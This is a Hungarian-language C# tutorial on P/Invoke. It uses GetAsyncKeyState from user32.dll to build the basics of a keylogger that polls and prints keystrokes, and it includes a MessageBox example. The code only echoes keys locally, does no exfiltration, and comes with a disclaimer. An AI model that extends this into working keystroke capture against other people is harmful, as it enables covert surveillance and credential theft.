Ha szeretnénk olyan alkalmazásokat készíteni, amelyek használatához "ki kell lépnünk" a .NET biztonságos keretkörnyezetéből, akkor natív DLL-t, DLL-eket kell alkalmazni.
Aki jobban érdeklődik ezután a témakör iránt, annak javasoljuk a pinvoke.net oldalt, ahol olyan metódusok leírásai találhatók meg, amelyek alkalmazásával "kiléphetünk" a .NET Framework-ből.
Az érdekesség kedvéért egy keylogger-nek az alapjait valósítjuk meg.
Fontos, hogy ez a cikk, illetve ez az alkalmazás a pinvoke.net oldalon található metódusok alkalmazását mutatja be, semmilyen szinten nem támogatjuk ennek a programnak a továbbfejlesztését, és annak a törvénybeütköző használatát!
Ahhoz, hogy a keylogger-t meg tudjuk valósítani, szükségünk lesz a GetAsyncKeyState() metódus alkalmazására, amely az user32.dll-ben található meg. Ennek a metódusnak egy rövid leírása a pinvoke.net oldalo itt található meg :
http://pinvoke.net/default.aspx/user32/GetAsyncKeyState.html
És most nézzük meg a mintaalkalmazásunkat!
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static void Main(string[] args)
{
while (true)
{
Thread.Sleep(50);
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);if (keyState == 1 || keyState == -32767)
{
Console.Write(Convert.ToChar(i));
break;
}
}
}
}
}
Először beimportáljuk a "user32.dll" dll-t, amely tartalmazza az általunk használni kívánt metódust. Ehhez szükséges felvenni a "System.Runtime.InteropServices" szerelvényt. A Main() metódusban található while() végtelen ciklusban először várakozunk 50 ms-ot.
A GetAsyncKeyState() metódust a for ciklusban meghívjuk, amely visszaadja a leütött karaktert, amelyet megjelenítünk a konzolunkon.
A következő programunkban azt figyeljük, hogy leütöttük-e az "a" karaktert. Ha igen, akkor vagy kiírjuk a konzolra, hogy "leütötted az "a" betüt" (ez jelenleg ki van kommentelve), vagy megjelenítjük a szintén a "user32.dll"-ben található MessageBox-ot.
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
public static extern int MessageBox(int handler, string str, string title, int type);
static void Main(string[] args)
{
while (true)
{
Thread.Sleep(50);
if (GetAsyncKeyState(65) != 0)
//Console.WriteLine("leütötted az \"a\" betüt");
MessageBox(0, "szöveg", "title", 0);
}
}
}
A while végtelen ciklusban 50 ms-okra felfüggesztjük a főszál működését (tehát 50 ms-ot késleltetünk), és ha megnyomjuk az "a"-t, amelynek az ASCII kódja 65, megjelenítjük a MessageBox-ot a "szöveg" üzenettel.
Ebben a cikkben bemutatjuk a metódusok alapjait. Nem érintjük viszont például a túlterhelést, ezt egy következő részben tekintjük át.. . . .
A sorozatunknak ebben a részében átnézzük általánosságban az osztályok alapjait egy konzolalkalmazás segítségével. A konstruktorok viszont a következő részben kerülnek bemutatásra.. . . .
Ebben a cikkben megismerjük a C# nyelv által használt változók nagy részét. Nézünk egy példát a típuskonverzióra.. . . .